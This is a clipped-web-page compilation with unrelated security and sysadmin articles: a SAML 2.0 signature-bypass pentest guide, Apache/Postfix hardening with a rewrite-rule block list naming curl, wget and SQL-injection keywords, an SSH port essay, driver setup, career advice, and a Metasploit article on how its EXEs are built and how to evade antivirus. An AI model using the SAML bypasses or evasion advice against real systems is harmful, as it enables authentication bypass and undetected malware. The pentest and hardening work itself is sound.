**Created:**| _11/30/2016 9:45:58 AM_  
---|---  
**Updated:**| _11/30/2016 9:45:58 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Bypassing SAML 2.0 SSO with XML Signature Attacks

We’ve recently noticed a trend with a lot of New Zealand sites wanting to
implement Single Sign-On \(SSO\) to combat the proliferation of passwords,
including many government services. The most prevalent standard for doing
this, providing interoperability between many vendors’ frameworks and multiple
languages, is SAML 2.0. The usual mechanism for this passes the SAML response
certifying the user’s identity through the web browser, using a signature to
prevent tampering. Unfortunately, many SAML consumers don’t validate responses
properly, allowing attacks up to and including full authentication bypass.

  * ###### Overview
  * SAML 2.0 SSO
  * Identifying SAML Responses
  * Protecting Messages in Transit
  * The XML Signature Standard
  * Getting Started with SAML Raider
  * Checks
    * Is a Signature Required?
    * Is the Signature Validated?
    * Is the Signature From The Right Signer?
    * Is the Correct Part of the Response Signed?
  * Limitations of SAML Raider
  * SAML Pentest Checklist

# SAML 2.0 SSO

When signing in to a site with SAML 2.0, there are three parties involved -
the Service Provider \(‘SP’, the web application we want to access\), the
Principal \(the user logging in\) and the Identity Provider \(‘IdP’, the
authority\). We want to accomplish the aim of getting the Identity Provider to
tell the Service Provider, in a trustworthy way, who the Principal is.

We do this by having the Service Provider redirect our user to the Identity
Provider with a SAML request. Once the Identity Provider is satisfied as to
the user’s identity, they send them back to the Service Provider with a SAML
response. There are three major ways of sending a message for web SSO, which
the standard refers to as “bindings”:

  * HTTP Redirect Binding. We include the SAML message directly in a URL.
  * HTTP POST Binding. We include the SAML message in the body of a POST request.
  * HTTP Artifact Binding. We send a random token, which acts as an identifier to retrieve the document via a back channel.

The first two of these can have some serious implementation issues.

# Identifying SAML Responses

As described previously, SAML responses are generally passed either in the URL
like this:

<img src='img/Temp2_1226.png' width='806' height='29' />

or in the body of a POST request like this:

<img src='img/Temp2_1234.png' width='795' height='281' />

Both of these forms can be manipulated by an attacking user as it passes
through their browser. If, on the other hand, you see a SAML Artifact like
this:

<img src='img/Temp2_1232.png' width='806' height='33' />

then there’s probably not much you can do with it as an attacker. These tokens
are resolved into the original messages and then retrieved via a back-channel,
so unless you have access to the target’s private network \(and likely an
SSL/TLS implementation bug while you’re at it\), these are pretty useless to
an attacker.

# Protecting Messages in Transit

The issue here is that in both the HTTP Redirect and HTTP POST bindings, the
document from the IdP validating the user’s identity is passed through that
user’s browser, and hence may be tampered with in transit. The HTTP Artifact
Binding is immune to this particular issue.

If these messages lack any protections, an attacker could simply modify the
response to, for example, claim to be somebody else. If I log in to the IdP as
“Tim” then I could simply alter the response document to claim to be
“Emmanuel” instead. In fact, I could just entirely forge the response, become
Emmanuel, and impersonate him.

Of course, the authors of the standard aren’t lax enough to let that slip past
them - they’ve tried very hard to fix this problem. The solution in the
standard is to attach an XML Signature to each message, protecting that
message against tampering.

# The XML Signature Standard

The XML Signature standard is an immensely complicated beast, designed by a
working group involving all the big names, and intended to be a one-size-fits-
all solution to building tamper-resistant XML documents. Unfortunately, as is
often the case, one-size-fits-all becomes the-only-size-fits-nobody.

In a normal application of digital signatures, we take a document to be
signed, run it through a cryptographic hash function, and then apply a digital
signature algorithm to the hash. If the document received is exactly
identical, the signature will validate, whereas if even a single bit changes,
the signature becomes invalid and the document is rejected.

Unfortunately, XML Signatures have one killer feature - the standard allows us
to sign _part_ of the document instead of the whole document, and embed the
signature within the same document it’s supposed to be validating - so called
inline signatures. The signatures do this by containing a “Reference” to the
part of the document they sign, usually by referring to the “ID” attribute of
an XML element, but in theory allowing anything in the XPath standard to be
used as an expression. I can, in theory, write a signature anywhere within a
document that refers to the “third to last <foo> element”, or equally vague
expressions.

When validating an XML signature it’s not enough to ask the question “is this
a valid signature from this signer?”. We also have to ask “is this signature
present, referring to the right part of the document, applying all the right
canonicalizations, from the expected signer AND valid?”. All too often, at
least one of these checks is not implemented.

# Getting Started with SAML Raider

While all attacks described here can be carried out without many tools, SAML
Raider1, a Burp proxy plugin, is a useful tool for testing the common cases.

# Checks

As described above, signatures can appear in various places within the SAML
message and cover various parts of the message. By keeping the content of the
message but adding new parts and modifying the structure of the remaining
parts, we can craft messages that are still technically signed correctly, but
may be interpreted by SAML libraries as having crucial parts signed when they
are not.

Whenever the Service Provider is supposed to check something, there’s an
opportunity for them to fail to do so or do so incorrectly, giving us an
opportunity to bypass the signature. Enable Burp’s interception, capture the
SAML request, and try these transformations. Each one should be done against a
fresh, valid log-in attempt, as there is usually a nonce preventing us from
replaying the same request repeatedly.

For repeated attempts, you may benefit from intercepting a single endpoint
only in Burp using interception options like this:

<img src='img/Temp2_1230.png' width='806' height='489' />

## Is a Signature Required?

The SAML standard requires that all messages passed through insecure channels,
such as the user’s browser, be signed. However, messages that pass through
secure channels, such as an SSL/TLS back channel, do not have to be. As a
result of this, we’ve seen SAML consumers that validate any signature present,
however silently skip validation if the signature is removed. The software is
essentially presuming that we’ve already checked that a message coming from an
insecure channel is signed, when this isn’t the case.

The impact of this is the ability to simply remove signatures, and tamper with
the response as if they weren’t there. SAML raider can test this one pretty
easily:

<img src='img/Temp2_1231.png' width='806' height='513' />

## Is the Signature Validated?

Validating XML signatures is extremely complicated, as the standard expects a
series of transformation and canonicalization steps to be applied first \(e.g.
to ignore the amount of white space\). The difficulty of this makes it
extremely hard to validate signatures without a fully featured XML Signature
library behind you. The impacts of this are:

  * Developers don’t generally understand the internals of signature validation.
  * Intermediate tools, such as web application firewalls, have no idea whether signatures are valid or not.
  * Libraries may have configurable options, such as lists of permitted canonicalization methods, which are meaningless to the developer.

The difficulty of implementing this standard, and the somewhat arcane nature
of it, leads to the issues we will now look at.

First, testing whether the signature is validated at all is simple - change
something in the supposedly signed content and see if it breaks.

## Is the Signature From The Right Signer?

Another stumbling block is whether or not the receiver checks the identity of
the signer. We haven’t seen this one done wrong, but SAML Raider will make
this fairly easy to test.

Copy the certificate to SAML Raider’s certificate store:

<img src='img/Temp2_1227.png' width='806' height='513' />

Save and self-sign the certificate, so we have a self-signed copy of the same
certificate:

<img src='img/Temp2_1233.png' width='806' height='467' />

Now we can re-sign the original request with our new certificate, either by
signing the whole message or the assertion:

<img src='img/Temp2_1225.png' width='806' height='513' />

You could identify which of those two options is normally used by your
recipient, or just try each of them.

## Is the Correct Part of the Response Signed?

### How XSW Attacks Work

The SAML standard allows signatures to appear in two places only:

  * A signature within a `<Response>` tag, signing the Response tag and its descendants.
  * A signature within an `<Assertion>` tag, signing the Assertion tag and its descendants.

The SAML standard is very specific about where signatures are allowed to be,
and what they are allowed to refer to.

However, nobody implements XML signatures in all their gory complexity for use
in SAML alone. The standard is generic, and so are the implementations and
software libraries built for it. As a result, the separation of
responsibilities looks like this:

  * The XML Signature library validates according to the XML Signature standard, which allows anything to be signed from anywhere.
  * The SAML library expects the XML Signature library to tell it whether or not the response is valid.

Somewhere in the middle of these two components, the rules about _what_ we
have to sign are often lost. As a result, we can often have our signature
refer to a different part of the document, and still appear valid to the
recipient.

By copying the signed parts of the document, and ensuring the signatures point
to the copies, we can separate the part of the document that the XML Signature
library checks from the part of the document that the SAML library consumes.

### Automated XSW

SAML Raider will automate the most common attacks of this form for you:

<img src='img/Temp2_1228.png' width='501' height='372' />

Try selecting each of those options from the drop-down, clicking “Apply XSW”
and sending the request on. If this doesn’t cause an error, try doing it again
and changing the username or other user identifier in each place it appears in
the SAML XML.

# Limitations of SAML Raider

While SAML Raider will test the common cases, there are a few attacks that
require a deeper understanding:

  * Producing a response that will validate against an XML schema \(requires hiding the shadow copy inside an element that may contain `xs:any`\).
  * Bypassing validation when _both_ the Response, and Assertions within it are signed and checked.
  * Bypassing XML signatures in non-SAML contexts, for example SOAP endpoints using WS-Security extensions.

### Manual XSW

If SAML Raider’s out-of-the-box options don’t work, you may want to try a
manual approach:

  * Decode the Base64-encoded content to access the SAML Response XML.
  * Check that the signature’s `<Reference>` tag contains the ID of a signed element.
  * Copy the signed content somewhere else in the document \(often the end of the `<Response>` is OK, if XML Schema validation is in play try finding somewhere to copy it that doesn’t break the schema.\)
  * Remove the XML signature from the _copy_ , leaving it in the original. This is necessary as the XML encapsulated signature standard removes the signature that is being validated. In the original document, this was the contained signature, so we have to cut it out from the copy.
  * Change the ID of the original signed element to something different \(e.g. change a letter\).
  * Change the content of the original assertion.
  * Re-encode as Base64, put in to the request and forward on.

If the signature validation points to the copy, it will ignore your changes.
With practice, you can complete this process pretty quickly if strict time
limits on requests are in play.

# SAML Pentest Checklist

  * Does the SAML response pass through the web browser?
  * Is it signed? If not, try changing the content.
  * Is it accepted if we remove the signatures?
  * Is it accepted if we re-sign it with a different certificate?
  * Do any of the eight transforms baked in to SAML Raider produce a result that is accepted?
  * If you change such a response, is the modified response accepted?
  * Might one of SAML Raider’s limitations noted above apply? If so, you may need to try a manual approach.

1 https://github.com/SAMLRaider/SAMLRaider

* * *
<img src='img/Temp2_1229.png' width='76' height='76' alt='Tim Goddard' />

### Written by Tim Goddard

Security Consultant at Aura Information Security.

  
__ Share on Twitter __ Share on Facebook __ Share on Google+

Updated November 30, 2016

  

# Episode109 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:45:33 PM_  
---|---  
**Updated:**| _8/5/2009 12:45:45 PM_  
**Author:**| __  
**Tags:**| _pauldotcom Live Distri Tutorials_  
  

# Tech Segment: Be The Mailman

And hope your baby doesn't have his eyes.... :\) So I was tasked this week
with setting up a Mailman listserv server. Mailman is an open-source
application built using Python. It relies on Apache and a mail server, such as
Postfix in this example, to create and manage email lists. Its very flexible,
and has a lot of options, which makes me really worried about security. Lets
start with a little Apache configuration for the Mailman virtual host. Check
out the rewrite rules from 0x000000:

[code]

    RewriteEngine on
            RewriteLogLevel 3
            RewriteLog /var/log/apache2/rewrite.log
            RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
            RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]
            RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
            RewriteCond %{HTTP_COOKIE}     ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
            RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]
            RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
            RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
            RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
            RewriteCond %{HTTP_USER_AGENT} ^.*(libwww|curl|wget|python|nikto|scan).* [NC,OR]
            RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
            RewriteCond %{QUERY_STRING}    ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
            RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
            RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
            RewriteCond %{QUERY_STRING}    ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]
            RewriteRule .* - [F]
    
    
[/code]

I've updated these based on some of his more recent blog postings, and applied
them to my mailman instance. Its plucking all sorts of nasties out of my HTTP
requests that could be potential XSS attacks. All of this activity is getting
logged to a file as well, that I can review to see who has sent attacks at my
web server. I also made some changes to the Apache 2 config to further lock it
down:

[code]

    ServerTokens Prod
    
    ServerSignature Off
    
    ErrorDocument 500 "An Error Has Occured."
    ErrorDocument 404 /error.html
    
    
    
[/code]

In Debian, these are located in "/etc/apache2/apache2.conf". Some other
interesting notes about the Debian Apache installation is the way the modules
and sites are configured. There are a set of directories and soft links that
you can use to enable sites and modules:

[code]

    drwxr-xr-x 2 root root  4096 2008-05-22 09:26 mods-available
    drwxr-xr-x 2 root root  4096 2008-05-22 09:26 mods-enabled
    drwxr-xr-x 2 root root  4096 2008-05-22 10:33 sites-available
    drwxr-xr-x 2 root root  4096 2008-05-22 10:57 sites-enabled
    
[/code]

So, for example, to enable SSL you can enable the modules as follows:

[code]

    cd /etc/apache2/mods-enabled/
    ln -s ../mods-available/ssl.load ssl.load
    ln -s ../mods-available/ssl.conf ssl.conf
    
[/code]

I did a couple of things here, I removed Apache's mod\_status. This is bad.

I also created a local certificate \(and yes make sure you are using the non-
vulnerable openssl library\!\):

[code]

    export RANDFILE=/dev/random
    mkdir /etc/apache2/ssl/
    openssl req $@ -new -x509 -days 365 -nodes -out  /etc/apache2/ssl/apache.pem -keyout /etc/apache2/ssl/apache.pem
    chmod 600 /etc/apache2/ssl/apache.pem
    
    
[/code]

Oh, one more thing, to enable SSL, add "Listen 443" to
/etc/apache2/ports.conf.

  
Postfix is another component you will need to setup. And the most important
thing to do here is edit "/etc/postfix/main.cf" and adjust the following line:

[code]

    mynetworks = 127.0.0.0/8 192.168.1.0/24
    
    and then add the following lines:
    
    # Allow connections from trusted networks only.
    smtpd_client_restrictions = permit_mynetworks, reject_unknown_client
    smtpd_helo_restrictions = permit_mynetworks, reject_invalid_hostname
    smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination
    
[/code]

You don't want to be an open relay to the world\!

# Mini-Tech Segment - BT3 on USB on a Mac

I found my self in an interesting situation the other day. I needed to do some
work with Karma, but found my self stuck. I pulled out the Linux laptop, fired
it up, and quickly realized I didn't have my Atheros based PCMCIA wireless
card with me\! The built in wireless card in the linux laptop is a definate no
go with madwifi and Karma.

So, what to do?

I figured, oh, I'll just boot up BT3 from CD in a VM on my MacBookPro. I had
to quickly discount that, as all VMs create an abstraction to the wireless
card on the host OS. I've tried this before, and failed miserably, because the
VM doesn't support all of the native features that I need for packet injection
and so forth for the atheros cards. so, strike that one\!

My next option was to boot with a BT3 CD on the Macbook. Of course, I was
looking to do some prety time consuming modification of BT3, Karma and a few
other changes, that I didn;t want to have to repeat if I needed to do a
reboot. So, scratch that idea...

What about my trusty BT3 bootable USB drive. I can write to it, save changes
by using "mkchanges" to create a space to save changes. I can even get access
to the atheros card directly\! Check out how to create the bootable BT3 USB
drive here. the instructions are for BT2, but work just fine on BT3

One slight problem. The MacBookPro won't boot form USB devices.

The fix for that was the easiest of them all. Enter a program named rEFIt.
This OS X package changes your EFI boot loader to the one from rEFIt, and
allows for USB booting\! So, now can I not only boot from my BT3 installation,
I can boot from ANY USB media with a vaild OS/partition table. Installation of
rEFIt was pretty painless - it was a .dmg package.

rEFIt says that the .dmg install will automatically enable rEFIt as your new
EFI bootloader. However with the current 0.11 release, it didn't do so.
However a few commands form the manual install method made it work like a
charm. Open terminal and issue the following commands:

[code]

    cd /efi/refit
    ./enable.sh
    
    
[/code]

You'll need to give your superuser password, and your off for a reboot.

Subsuquent reboots will bring up a gui boot menu for rEFIt, and you can select
to boot "Legacy OS from USB" \(in my case, USB said LEXAR\). BT3 boots, and
bob's you're uncle. I had full access the atheros card and could save my
changes \(after further USB configuration\). I did experience some differences
in booting the BT3 USB key and xwindows between my older 17" MBP and my newer
15" MBP. IT is obviously due to video driver issues, but I haven't bothered to
try to figure them out at this point - everything I needed to do was at the
command line - no evil xwindows needed\!

One thing to note. If you were using a boot time password within your original
Apple EFI, it will no longer work\! rEFIt effectively replaces the Apple EFI,
and rEFIt \(in this version\) does not support boot time passwords.

# Using the Realtek 8172 and 8192se Wireless Controller with Ubuntu 9.10
\[Linux Wiki Guides\]

**Created:**| _10/18/2010 9:19:22 PM_  
---|---  
**Updated:**| _10/18/2010 9:19:37 PM_  
**Author:**| __  
**Tags:**| _hardware Linux Lab-Setup_  
  

# Using the Realtek 8172 and 8192se Wireless Controller with Ubuntu 9.10

## Author\(s\)

Bill Giannikos \(Home Page\)  

## Introduction

Ubuntu 9.10 does not support either the Realtek 8172 or 8192se as standard.
This guide will help you add support for these wireless controllers to your
system.  

## Notes

These are not the best drivers ever written and may exhibit problems \(such as
dropouts\) from time to time. If you are having issues you may like to
periodically check if newer drivers have been released and install those.

For Realtek 8172 owners, while this guide talk about using the 8192se driver
it works for the 8172 as well.  

## Prerequisites

You should run a full update for your installation of Ubuntu to ensure you
have all the latest packages installed.  

## Installing the 8192se driver

Here are the steps in installing the Realtek drivers.

  
**1.** Open a web browser and head to the Realtek 8192se driver page. From
here you need to download the latest Linux driver. At the time of writing this
was 0014 so we will use that version in this guide, your file name and folder
created will be slightly different than the one below if you downloaded a
different version.

**2.** Load up a terminal window if you are in the graphic interface.

**3.** Type in the following to install gcc and the kernel headers:  

[code]

    sudo apt-get install build-essential linux-headers-`uname -r`
    
[/code]

  
You may be asked for your password with the above commands, type it in and
press Enter.

**4.** Move to the /usr/src/ folder with:  

[code]

    cd /usr/src
    
[/code]

**5.** Now extract the contents of the file you downloaded with the following
command \(make sure to replace **/path/to/** to the actual path you downloaded
the file to\):  

[code]

    sudo tar xzvf /path/to/rtl8192se_linux_2.6.0014.0115.2010.tar.gz
    
[/code]

**6.** Move into the newly created folder with  

[code]

    cd rtl8192se_linux_2.6.0014.0115.2010
    
[/code]

**7.** Lets copy across the required firmware with this command:  

[code]

    sudo cp -rf firmware/RTL8192SE /lib/firmware
    
[/code]

**8.** Now lets build the driver:  

[code]

    sudo make
    
[/code]

  
You **may** get an error at this stage depending on your kernel. Don't worry
about it, the stuff we need is compiled.

**9.** These set of drivers contain a whole lot of rubbish we don't need, so
we only want to copy the driver module itself. Use the following two commands
to install the driver:  

[code]

    sudo cp HAL/rtl8192/r8192se_pci.ko /lib/modules/`uname -r`/kernel/drivers/net/
    sudo depmod -a
    
    
[/code]

**10.** Optionally, you may like to delete the driver folder now, use the
following command:  

[code]

    sudo rm -rf /usr/src/rtl8192se_linux_2.6.0014.0115.2010
    
[/code]

**11.** Reboot your computer and your realtek wireless controller should begin
to work.

Please note that if Ubuntu release an updated kernel you will have to go
through the above steps again but make sure you skip the copying of the
firmware.  

  

# Why putting SSH on another port than 22 is bad idea | A day in the life of…
**Created:**| _2/27/2013 11:57:37 AM_  
---|---  
**Updated:**| _3/1/2013 2:49:42 PM_  
**Author:**| __  
**Tags:**| _Linux Lab-Setup_  
  

# Why putting SSH on another port than 22 is bad idea

March 12, 2012

By Joshua Thijssen

I see a lot of companies and users moving their SSH port to a non-privileged
port like 2222 or even 36797. Now, there are few reasons why people would do
this, all of them incorrect and dangerous. Some of those reasons I will not
even mention, just to protect the people who actually use them :\) But what it
comes down to, is that people like to move this port away in order to lower
the number of attacks on the SSH port.

Now, at first glance, this seems a valid reason: if you don’t know which port
to attack, you can’t attack it at all :-\). But if you re-read that last line,
you will notice this is nothing more than security through obscurity, and if
you think that that is a good idea, you should not be allowed behind a
computer.. ever…

But there are more reasons why this is a bad idea and one of the most
important reason has to do with a bit of the \(Linux\) way of handling TCP/IP
ports. When you are logged onto a system as a non-root user \(anyone not being
uid 0\), you cannot create a listing TCP or UDP port below 1024. This is
because port numbers below 1024 are so-called privileged ports and can only be
opened by root or processes that are running as root. So for instance, when
your webserver \(apache, nginx etc\) will start, it will do so as the
privileged root user in order to open up a listening connection to port 80
\(the port that by default will be used for HTTP traffic\). Now, as soon as
the port is opened and everything that needs to be done as root is done, the
webserver will fall back to a non-privileged user \(either the www-data,
apache, or nobody user\). From that point, when something bad is happening, it
is only limited to the rights that that user has.

Now, back to SSH: when we start SSH on port 22, we know for a fact that this
is done by root or a root-process since no other user could possibly open that
port. But what happens when we move SSH to port 2222? This port can be opened
without a privileged account, which means I can write a simple script that
listens to port 2222 and mimics SSH in order to capture your passwords. And
this can easily be done with simple tools commonly available on every linux
system/server. So running SSH on a non-privileged port makes it potentially
LESS secure, not MORE. You have no way of knowing if you are talking to the
real SSH server or not. This reason, and this reason alone makes it that you
should NEVER EVER use a non-privileged port for running your SSH server.

On to the next reason not to change ports: A lot of applications actually
EXPECT ssh traffic on port 22. Now this might be a debate wether or not those
programs are developed properly, but it’s a fact. Even though you can easily
change the port in many applications but not all of them do. Trust me, it WILL
be annoying for developers, sysadmins and users to operate on your SSH-port
52241, especially since they are using 20 boxes, each with a different SSH
port.

Another issue: many corporations have incoming and outgoing firewalls, meaning
you cannot goto any site to any random port and expect it to work. Some secure
ports, like port 22 are often exempt from that, while other ports like port 25
or 110 are blocked.

Now, let’s pretend you STILL want to move the port away because you get so
many attacks on your SSH port. First of all: are you able to logon as root? If
so, fix that now. Secondly: are you using passwords? If so, fix that now and
change into public key authentication. But think about it: is it a problem to
have so many people banging at the front of your house? They are just there
testing your defenses\! :-\) I’d rather have an angry mob outside my house
knowing it would mean I would do everything to make sure they can’t break into
my house, than to have an open door, that I do not know about, until some
lonely passant just drops in to say hi \(and trash the place, or worse\).

But if you are REALLY worried about that angry mob, there are better ways to
hide the door than to move it. Try port-knocking. Again, security through
obscurity, but if you must, this is probably the only viable way to do
it. There are several ways to implement port-knocking. There are 3rd party
tools, which are A\) way to big and complex and B\) are implemented in
userland so don’t use them. Instead, Iptables has got a very nifty module
called “recent”, which allows you to create simple – yet effective – port
knocking sequences.

Take a look at the following example:

[code]

    ${IPTABLES} -A INPUT -p tcp --dport 3456 -m recent --set --name portknock
    ${IPTABLES} -A INPUT -p tcp --syn --dport 22 -m recent --rcheck \
       --seconds 60 --name portknock -j ACCEPT
    ${IPTABLES} -A INPUT -p tcp --syn --dport 22 -j DENY
    
[/code]

What this does, is that as soon as something tries to connect to port 3456
\(yes, a non-privileged port, but no problem, nothing is running on it\), it
will set a flag called “portknock”. Now, when we try to setup a connection to
the SSH port, it will check to see if your IP has set a “portknock” flag
during the last 60 seconds. If not, it will not accept the connection. And the
third line will by default deny any access to SSH together as a failsafe.
\(I’ve heard before that it would be hard for users to remember that they need
to connect to another port first, but somebody who cannot click a link, type a
url, or telnet to a port, should he or she really have SSH access to begin
with???\).

Now, don’t directly copy/paste this into your firewall, but you can see how
easy it is to “hide” your ports. You can even create a whole serie of knock
sequences if you like but this will only annoy your users and gains you
nothing.

Again, this does not change ANYTHING on the fact that it should not matter if
your port is out in the open or not. Don’t fall for security through
obscurity, because that will probably be the easiest way to get your box
hacked. And please, as a hosting company, a system administrator or even a
developer, don’t ever tell others that moving your SSH port away is a good
thing. Because it’s not, and it never will be.

  

# Why Encoding Does not Matter and How Metasploit Generates EXE’s « Thoughts
on Security

**Created:**| _11/20/2011 10:43:03 PM_  
---|---  
**Updated:**| _11/20/2011 10:43:03 PM_  
**Author:**| __  
**Tags:**| _crypto Malware-analysis_  
  

## Why Encoding Does not Matter and How Metasploit Generates EXE’s

  

Payload executables generated by msfencode are commonly detected by antivirus
engines, depending which antivirus engine is used. A common misconception is
that the antivirus engines are actually detecting the shellcode, and
therefore, the best way to avoid antivirus detection is to pick an encoder
that the antivirus engine cannot handle, or encode many times. After all,
those are both prominent options of msfencode.  
`  
Usage: /opt/framework-3.5.2/msf3/msfencode  
`

` `

``

`OPTIONS:`

` `

` -a `

` The architecture to encode as  
-b `
` The list of characters to avoid: '\x00\xff'  
-c `
` The number of times to encode the data  
-d `
` Specify the directory in which to look for EXE templates  
-e `
` The encoder to use  
...  
`

``

``

``

``

``  
If you just want to evade McAfee/Symantec, the basic msfencode command `cat payload | msfencode -t exe > my.exe` should work fine. But if you have ever tried to evade an antivirus like Avast\! that tries to catch Metasploit payloads by changing encoder or number of times to encode, chances are, you were very frustrated and just wasted time. So how can they catch every encoder and more importantly, how can you evade them? 
First, let’s see how Metasploit generates EXE’s. The relevant code is in
lib/msf/util/exe.rb in the self.to\_win32pe function. First the payload is
placed within a “win32\_rwx\_exec” block:  
`  
# Copy the code to a new RWX segment to allow for self-modifying encoders  
payload = win32_rwx_exec(code)  
`  
The function is defined later in the file:  
`  
# This wrapper is responsible for allocating RWX memory, copying the  
# target code there, setting an exception handler that calls ExitProcess  
# and finally executing the code.  
def self.win32_rwx_exec(code)  
`  
This function writes a set of assembly instructions consisting mostly of the
block\_api code that forms the majority of the Metasploit win32 shellcode,
while randomly inserting nop instructions and opcodes to jmp over randomly
generated bytes. These assembly instructions will look up and call the
VirtualAlloc function to allocate RWX memory, copy the target code there and
execute the code.

Ignoring the inject block for now \(the same principles apply; less random
code and code is just in a new section rather than replacing old code\) the
function then finds the executable \(.text\) section. Then it lists the
addresses that will be modified by the loader into an array called mines:  
`  
# We need to make sure our injected code doesn't conflict with the  
# the data directories stored in .text (import, export, etc)  
mines = []  
pe.hdr.opt['DataDirectory'].each do |dir|  
next if dir.v['Size'] == 0  
next if not text.contains_rva?( dir.v['VirtualAddress'] )  
mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg,
dir.v['Size'] ]  
end  
`  
It then finds, out of the remaining blocks, an executable block of sufficient
size to store the payload with room to spare. Then it creates a sled of nops,
and somewhat randomizes the entry point to land in them. At the end of the
nops is a relative jump to the payload:  
`  
# Pad the entry point with random nops  
entry = generate_nops(framework, [ARCH_X86], rand(200)+51)  
...`

` `

` # Relative jump from the end of the nops to the payload  
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')  
`  
Then it randomly changes 25% of the remaining executable bytes and the
timestamp, and fixes the checksum.

So in summary, the exe's entry point is a random sequence of certain opcodes
in the nop sled which does not look like a standard exe entry routine,
followed by a jump to the win32\_rwx\_exec generated block of code that is
identical to a metasploit shellcode block with some random nop and simple jmp
instructions scattered inside. Then, if the antivirus engine can follow the
jump to a dynamically, externally generated address, it will see the encoded
payload, which will likely be much harder to distinguish than the previous
block of code. In other words, if the AV is going to detect the exe as
malicious, it is much easier to catch the code before the encoded payload than
the encoded payload itself.

To demonstrate this, I used msfencode to generate an exe without any payload
at all:  
`echo -n | msfencode -e generic/none -t exe > myn.exe  
[*] generic/none succeeded with size 0 (iteration=1)  
`  
Despite the fact that there was no payload, upon uploading the VirusTotal,
still 20 out of 41 antivirus engines, or 48.8% identified the file as
malicious. See the report for yourself here.

To avoid this detection, just write your own exe or modify the source of an
existing exe to get RWX memory, copy the payload into it, and execute it in a
new way. Of course metasploit could do this, but then the antivirus companies,
in their quest to enumerate badness, would identify whatever way metasploit
used, and repeat ad nauseam. So have a little creativity yourself.

Oh, and by the way, msfencode is not useless, and neither are these encoders.
They are both valuable for manually creating payloads to avoid certain bad
characters, or evade an IDS in an exploit. These options just are not useful
when creating an exe.

# Information Security Leaders

**Created:**| _5/22/2009 5:02:15 PM_  
---|---  
**Updated:**| _5/22/2009 5:02:23 PM_  
**Author:**| __  
**Tags:**| _career_  
  

# Career Advice - Wanting A Job Too Much

May 19, 2009

Recently, I have been working with a number of talented information security
professionals that are currently in between positions. This recent change in
their employment is most caused by external factors, mostly focused on broader
economic environment, then their individual performance. These professionals
find themselves in an unfamiliar position, and under a good amount of stress.
From my perspective, the stress comes in two different categories, financial
and personal.

The financial stress is quite easy to figure out. Severances are running out,
savings are depleting, and resposnibilites remain. The personal stress
traditional begins with a deflation of one’s self -esteem. People question
their value, their roie in their profession, and their overall usefulness. The
idle time does not help.

The idle time is mostly spent worrying about the future. It illustrates how
liitle control that you currently have over your present situation. The
silence and lack of feedback becomes deafening. You become consumed with
questions /statements that include- “Why have I not heard back from that
company”, “Is my resume correct?”, “When is the right time to follow-up?”, “Am
I being a pest?”, “Have they decided to go another direction?” etc.

When people start asking these questions to themselves, they begin to create a
feeling of anxiety. When these feelings begin to creep up on you, many times
it clouds your judgement, and produces a feeling of desperation. When you
begin to have these feelings internally, it is almost impossible for them to
not come out in conversations with perspective employers and during
interviews. Many times, without realizing it, candidates will share some of
their personal hardships during these discussions and it creates an
uncomfortable mood. It also creates the feeling of desperation. This causes
these potential employers to believe that you are searching for “any position”
as opposed to “their position”.

So, how do you avoid **“Wanting a Job Too Much?”** Here are some things that
you might want to consider:

1\) Remember that you have talent, and know what that talent is. Talent is the
key to any professional,s career. Chances are if you have built a career in
the Information Security profession, you have built it on a foundation of
skills. Knowing those skills, and how to apply them to the role that you are
searching for is key.

2\) Think back to the time when you were “over recruited.” You all remember
those times when you were gainfully employed and you had multiple employment
offers from competing companies. You remember how it felt to be wanted and to
be in demand. That was a good feeling to have. Those people who came looking
for you in the past, will come looking for you again. It just may take a
little longer to find you. Carry that attitude into any interview situation.
Exhibit confidence, without being “cocky”.

3\) Take your mind off the job search. Regardless of how much stress that you
are under at home or financially, you have to take your mind off that for a
period of time each day. Use that time to do something that makes you happy or
that you have neglected due to your work schedule. Maybe this will remind you
why you do work, and give you more incentive to balance your career and your
life. It might also provide you with some clarity as to what type of position
that you are searching for.

The three items above are geared to help you more mentally then financially.
However, if you take care of the mental aspects of a job search, you should
find yourself with the abillity to think clearly, be exposed to more
opportunites and leave yourself with better options.

In closing, I think that everyone should look around what is happening to
themselves or to their peers. This can happen to anyone. Plan accordingly. The
better you plan, the less stress you will have.

# xpra up-to-date fork

**Created:**| _6/28/2012 8:23:54 AM_  
---|---  
**Updated:**| _6/28/2012 8:23:54 AM_  
**Author:**| __  
**Tags:**| _bookmark Linux_  
  

Xpra is 'screen for X': it allows you to run X programs, usually on a remote
host, direct their display to your local machine, and then to disconnect from
these programs and reconnect from the same or another machine, without losing
any state. It gives you remote access to individual applications.  
Xpra is "rootless" or "seamless": programs you run under it show up on your
desktop as regular programs, managed by your regular window manager.  
Sessions can be accessed over SSH, or password protected over plain TCP
sockets.  
Xpra is usable over reasonably slow links and does its best to adapt to
changing network bandwidth limits. \(see also adaptive JPEG mode\)  
Xpra is open-source \(GPLv2+\), multi-platform and multi-language, with
current clients written in Python and Java.

# MSDN Magazine: Debugger APIs - Writing a Debugging Tools for Windows
Extension

**Created:**| _3/9/2011 11:35:24 AM_  
---|---  
